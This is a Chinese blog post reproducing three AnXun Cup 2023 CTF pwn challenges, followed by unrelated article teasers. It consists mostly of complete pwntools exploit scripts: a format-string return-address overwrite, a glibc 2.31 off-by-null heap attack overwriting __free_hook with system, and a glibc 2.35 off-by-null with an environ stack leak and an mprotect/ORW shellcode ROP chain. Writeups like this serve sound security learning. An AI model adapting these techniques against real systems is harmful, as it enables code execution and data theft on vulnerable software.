安洵杯2023 部分pwn复现

news2024/11/20 10:37:58

1. harde_pwn

漏洞点:

覆盖printf的返回地址


from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './harde_pwn'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60",26695) if argv[1]=='r' else process(binary)
# libc = ELF('./libc.so.6',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

from ctypes import cdll
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x61616161)

# 174293481
sa2("Welcome to a ctype game!\n",b"a"*0x20)

for i in range(21):
    sla("input: \n",(libc.rand()^ 0x24) + 1)

sla2("input your data ;)\n",b"%11$p")
libc_base = int(ru("\n"),16)-171408
realloc_hook = libc_base + 0x000000000220498
leak("realloc_hook",realloc_hook)
sla2("input your data ;)\n",b"%8$p")
stack = int(ru("\n"),16) + 8 
printf_ret = stack - 48
onegadget = 0xebcf5 + libc_base

def fmt(first, second, target_addr, content):
    for i in range(2,-1,-1):
        sla2("input your data ;)\n","%{}c%{}$hn".format((target_addr+2*i)&0xffff,first))
        sla2("input your data ;)\n","%{}c%45$hn".format((content>>(16*i))&0xffff))

fmt(15,45,stack,printf_ret)
fmt(15,45,stack+8,printf_ret+2)
fmt(15,45,stack+16,printf_ret+4)
payload = "%" + str(onegadget & 0xffff) + "c%11$hn"
payload += "%" + str(0x10000-(onegadget & 0xffff)+((onegadget>>16)&0xffff)) + "c%12$hn"
payload += "%" + str(0x10000-((onegadget>>16) & 0xffff)+((onegadget>>32)&0xffff)) + "c%13$hn"
p.sendafter("input your data ;)",payload)

itr()

2.  pwnpwn

漏洞点:

glibc2.31的off by null

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './pwnpwn'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('47.108.165.60',27178) if argv[1]=='r' else process(binary)
libc2 = ELF('./libc-2.31.so',checksec=False)
import time
from ctypes import cdll
libc=cdll.LoadLibrary('./libc-2.31.so')
def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

_del,_show,_add,_edit,_login = 4,2,1,3,5
menu_str = "root@$\n"
index_str = "give me your index:\n"
size_str = "give me your size:\n"
content_str = "give me your content:\n"
def delete(index):
    sla(menu_str,_del)
    sla(index_str,index)

def show(index):
    sla(menu_str,_show)
    sla(index_str,index)

def add(index, size, content="aaaaaaaa"):
    sla(menu_str,_add) 
    sla(index_str,index)
    sla(size_str,size)
    sa2(content_str,content)

def edit(index, content="a"):
    sla(menu_str,_edit) 
    sla("give me your index\n",index)
    sla("give me your index\n",index)
    sa2(content_str,content)

'''
flag = 1:edit,delete
flag = 0:show
'''
def login(username, passwd):
    sla(menu_str,_login) 
    sla2("please input your username\n",username)
    sla2("please input your passwd\n",passwd)

libc.srand(int(time.time()))
v8 = 0
for i in range(4):
    v8 = v8 * 10 + (libc.rand()%10)
sla("please input your number:",v8)


login(b'1', b'1') # set flag = 1

add(0,0x418) 
add(1,0x108)
add(2,0x438) 
add(3,0x438) 
add(4,0x108) 
add(5, 0x4e8) 
add(6,0x428)
add(7,0x108)

# 6<-->3<--->0
delete(0)
delete(3) 
delete(6) 

# 2+3<-->6<-->0
delete(2)

# fake chunk
# 利用之前chunk3残留的地址,fd指向0,bk指向6
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 

#将剩余的chunk申请走
add(3,0x418) 
add(6,0x428)
add(0,0x418) 

# 3<-->0
delete(0)
delete(3)

# 利用off by null 将0的bk最后一个字节覆盖成0x00(最开始chunk3的地址)
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   

# 5<-->6<-->3
# 利用跟上面一样的步骤
delete(3) 
delete(6) 
delete(5)

# 利用off by null 覆盖之前的6的fd最后一个字节为0x00(最开始chunk3的地址)
add(5, 0x4f8, b'5' * 0x4e8 + p64(0x431))

# 将剩余的全部申请走
add(6, 0x418, b'6')
add(3, 0x418)

# 将chunk5的prev size设置为0x550,然后利用off by null 覆盖size成0x500,主要将prev in use位改为0
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))

# unlink
delete(5)
# 切割剩下的部分放进unsorted bin与chunk4重合
add(5, 0x438)

login(b'1', b'1234123')  # set flag = 0

# 常规的uaf打法
show(4)
libc_base = uu64(ru(b"\x7f",False)[-6:]) - 0x1ecbe0
leak("libc_base",libc_base)
add(8,0x108)
login(b'1', b'1'*0x103)  # set flag = 1 整数溢出
delete(7)
delete(8)
edit(4, p64(libc_base+libc2.sym['__free_hook']))
add(7, 0x108, b"/bin/sh\x00")
add(8, 0x108, p64(libc_base+libc2.sym['system']))
delete(7)

itr()

3. DE_CAT

漏洞点:

glibc2.35的off by null,开了沙箱

通过environ泄露栈地址,然后修改返回地址实现orw

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './CAT_DE'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60", 36399) if argv[1]=='r' else process(binary)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

_create,_edit,_delete,_show = 1,4,2,3
menu = "input your car choice >> \n"
size_str = "size:\n"
content_str= "content:\n"
index_str = "idx:\n"
def create(size,content):
    sla(menu,_create)
    sla(size_str,size)
    sa2(content_str,content)

def edit(index,content):
    sla(menu,_edit)    
    sla(index_str,index)
    sa2(content_str,content)

def delete(index):
    sla(menu,_delete)
    sla(index_str,index)

def show(index):
    sla(menu,_show)
    sla(index_str,index)


create(0x4f8, b"a") #0
create(0x4f8, b"a") #1
delete(0)
create(0x5f8, b"a") #0
create(0x4f8, b"a") #2
show(2)
ru("\x00\x00")
libc_base = uu64(ru("\x00\x00"))-0x21a110
heap_base = uu64(ru("\x00\x00"))-0x290
leak("libc_base", libc_base)
leak("heap_base", heap_base)
edit(2, flat({
    0x0: heap_base + 0x290,
    0x8: heap_base + 0x290,
    0x4f0: 0x500
}, filler=b"\x00",length=0x4f8))
delete(1)
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
delete(3)
delete(1)
# 减去0x10防止申请时输入覆盖最后一个字节为0x00
edit(2, p64((libc_base + libc.symbols['environ'] - 0x10)^(heap_base + 0x2a0) >> 12))
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
show(3)
# 多减一个8为了堆块对齐0x10
stack_ret = uu64(ru("\x7f",False)[-6:])-0x148
leak("stack_ret", stack_ret)
create(0x1f8, b"a") #4
delete(4)
delete(1)
edit(2, p64(stack_ret^((heap_base + 0x2a0) >> 12)))
create(0x1f8, b"a") #1
pop_rdi = libc_base + 0x000000000002a3e5
create(0x1f8, flat([
    0,
    libc_base + 0x000000000002a3e5,
    (stack_ret-0x148) & (~0xfff), 
    libc_base + 0x000000000002be51,
    0x1000,
    libc_base + 0x000000000011f497,
    7, 0,
    libc_base + 0x0000000000045eb0,
    10,
    libc_base + 0x0000000000091396,
    libc_base + 0x000000000008821d,
]) + asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
''') + b'\0')
itr()

其中libc.symbols['__environ'])中间的'__environ'可写成'_environ'或者'environ'都可以,暂不明白原因,望知道的大佬告知

问题:

在DE_CAT中使用【八芒星计划】 ORW_rop orw_真岛忍的博客-CSDN博客中的libc.search来构造pop链找到的地址有的会出现在没有执行权限的段中,导致读取失败

 

参考链接:

安洵杯2023 Writeup - 星盟安全团队

栈溢出 Stack smash 利用 | 0x4C43's Blog

environ泄露栈地址+orw+uaf_thna0s的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/686399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

二级Python考试环境安装教程

二级Python考试环境 Python3.5.3至Python3.9.10版。为方便考生学习与考点备考&#xff0c;现提供二级Python应用软件的网络下载&#xff0c;广大考生和考点管理员可以下载使用 软件包下载&#xff08;62.18 MB&#xff09; https://www.123pan.com/s/y4HrVv-0S0lA.html 安装…

在windows11环境下安装CUDA11.6+Anaconda3+pyToach1.13搭建炼丹炉

0.电脑环境 系统&#xff1a;win11 显卡&#xff1a;NVIDIA GTX1650 还有一个pyCharm&#xff0c;其他也用不到了&#xff0c;需要的文章中会进行说明 1.安装CUDA11.6 目前2023.03出来的pyToach2.0是用不到了&#xff0c;因为最低版本支持CUDA11.7。我的显卡是1650&#xff0c…

leetcode数据库题第八弹(免费题刷完了)

leetcode数据库题第八弹&#xff08;免费题刷完了&#xff09; 1757. 可回收且低脂的产品1789. 员工的直属部门1795. 每个产品在不同商店的价格1873. 计算特殊奖金1890. 2020年最后一次登录1907. 按分类统计薪水1934. 确认率1965. 丢失信息的雇员1978. 上级经理已离职的公司员工…

WebRTC音视频会议底层支撑技术

WebRTC允许应用使用P2P通信。WebRTC是一个广泛的话题&#xff0c;在本文中&#xff0c;我们将重点讨以下问题。 为什么Web RTC 如此受欢迎&#xff1f; 在P2P连接过程中会发生什么 信号传递 NATs和ICE STUN & TURN服务器 VP9视频编解码器 WebRTC APIs 安全 1.为什…

科技资讯|苹果新专利曝光:手势增强用户的交互体验

根据美国商标和专利局&#xff08;USPTO&#xff09;公示的最新清单&#xff0c;苹果公司获得了一项编号为 US 20230195237 A1 的专利&#xff0c;展示了使用手势导航用户界面的交互体验。 苹果这项专利涉及 iPhone、iPad、Apple Watch 和 Mac&#xff0c;使用屏幕生成组件和…

Typora的安装和授权(2023)

文章目录 1. 文章引言2. Typora的下载3. Typora的安装4. Typora的授权 1. 文章引言 我们在开发的过程中&#xff0c;不可或缺地要使用到markdown文本&#xff0c;支持markdown文本的编辑器有很多&#xff0c;其中Typora便是一款不错的编辑器。 不过&#xff0c;Typora是收费的…

知行之桥EDI系统QA第二期:AS2专题

随着使用知行之桥EDI系统的用户群体日益壮大&#xff0c;在使用过程中&#xff0c;用户可能对系统的工作原理、功能模块和实施过程有一些疑问。近期整理了有关 AS2 的四个常见问题&#xff1a; 1.知行之桥 EDI系统支持AS2 协议的 AES_GCM 算法吗&#xff1f;2.AS2发送文件后收…

C++不知算法系列之计数排序算法的计数之巧

1. 前言 计数排序是较简单的排序算法&#xff0c;其基本思想是利用数组索引号有序的原理。 如对如下的原始数组中的数据(元素)排序&#xff1a; //原始数组 int nums[5]{9,1,7,6,8};使用计数排序的基本思路如下&#xff1a; 创建一个排序数组。数组的大小由原始数组的最大值…

ActiveMQ消息队列的核心概念

文章目录 ActiveMQ消息队列的核心概念1.什么是MQ消息队列2.为什么要使用MQ消息队列3.MQ消息队列的应用场景3.1.异步处理3.2.应用解耦3.3.流量削锋 4.常见的MQ消息队列产品对比 ActiveMQ消息队列的核心概念 1.什么是MQ消息队列 Message Queue消息队列简称MQ&#xff0c;消息队…

NXP i.MX 6ULL工业开发板规格书( ARM Cortex-A7,主频792MHz)

1 评估板简介 创龙科技TLIMX6U-EVM是一款基于NXP i.MX 6ULL的ARM Cortex-A7高性能低功耗处理器设计的评估板&#xff0c;由核心板和评估底板组成。核心板经过专业的PCB Layout和高低温测试验证&#xff0c;稳定可靠&#xff0c;可满足各种工业应用环境。 评估板接口资源丰富&…

AI通用大模型 —— Pathways,MoE, etc.

文章目录 Pathways现有AI缺憾Pathways Can DoMultiple TasksMultiple SensesSparse and Efficient Mixture of Experts&#xff08;MoE&#xff09;Neural Computation1991, Adaptive mixtures of local expertsICLR17, Outrageously Large Neural Networks: The Sparsely-Gate…

【已解决】ModuleNotFoundError: No module named ‘timm.models.layers.helpers‘

文章目录 错误信息原因解决方法专栏&#xff1a;神经网络精讲与实战AlexNetVGGNetGoogLeNetInception V2——V4ResNetDenseNet 错误信息 在使用timm库的时候出现了ModuleNotFoundError: No module named timm.models.layers.helpers’的错误&#xff0c;详情如下&#xff1a; …

Windows下安装ClickHouse图文教程

文章目录 1.安装WSL21.1启用适用于 Linux 的 Windows 子系统1.2启用Windows虚拟机功能1.3将WSL2设置为默认版本1.4下载Linux内核更新包1.5安装Linux子系统1.6设置账户和密码 2.安装Docker2.1下载与安装2.2设置镜像地址 3.安装Clickhouse3.1拉取镜像3.2启动clickhouse-server3.3…

Docker学习笔记7

启动一个运行httpd服务的容器&#xff1a; docker run -it --namec3 centos:latest /bin/bash 在容器中安装apache服务&#xff1a; yum install -y httpd 在这个过程中遇到一个问题&#xff1a; Error: Failed to download metadata for repo appstream: Cannot prepare …

关于PHP调用openAI chatGPT一些问题

我是直接使用gpt生成的curl代码区调用的 1&#xff1a;windows可能出现代理访问问题&#xff0c;报443端口问题 解决办法&#xff1a;开启代理后&#xff0c;需要到设置 确认这里打开状态 在curl请求里面加上对应的代码 curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1&qu…

java spring cloud 企业工程项目管理系统源码-全面的工程项目管理

​ ​工程项目管理系统是指从事工程项目管理的企业&#xff08;以下简称工程项目管理企业&#xff09;受业主委托&#xff0c;按照合同约定&#xff0c;代表业主对工程项目的组织实施进行全过程或若干阶段的管理和服务。 如今建筑行业竞争激烈&#xff0c;内卷严重&#xff0c…

企业运维 | NFS、Samba服务在Docker容器环境中快速搭建部署实践

欢迎关注「全栈工程师修炼指南」公众号 设为「星标⭐」每天带你 基础入门 到 进阶实践 再到 放弃学习&#xff01; 专注 企业运维实践、网络安全、系统运维、应用开发、物联网实战、全栈文章 等知识分享 “ 花开堪折直须折&#xff0c;莫待无花空折枝。 ” 作者主页&#xff1…

chatgpt赋能python:Python能自举吗?

Python能自举吗&#xff1f; Python是一门高级编程语言&#xff0c;由Guido van Rossum于1989年开发而来。Python被广泛用于Web开发、数据分析、人工智能等领域。因为Python语法简洁易懂&#xff0c;易于学习&#xff0c;许多人都称其为“入门语言”。 那么问题来了&#xff…

Spring Cloud——演进与应用的分布式系统开发利器

&#x1f338;作者简介&#xff1a;花想云&#xff0c;目前大二在读 &#xff0c;C/C领域新星创作者、运维领域新星创作者、CSDN2023新星计划导师、CSDN内容合伙人、阿里云专家博主、华为云云享专家 &#x1f338;专栏推荐&#xff1a;C语言初阶系列 、C语言进阶系列 、C系列、…

Linux之CentOS 7.9部署Oracle 11g r2_p13390677_112040最终版简易安装实测验证(桌面模式)

前言&#xff1a; Linux之CentOS 7.9部署Oracle 11g r2最终版安装实测验证&#xff08;桌面模式&#xff09; 介于前段时间的Windows以及linux无桌面模式环境&#xff0c;之前的linux oracl源包因缺失会存在报错现象&#xff0c;这次主要以oracle 11gr2更新包来记录下部署方式&…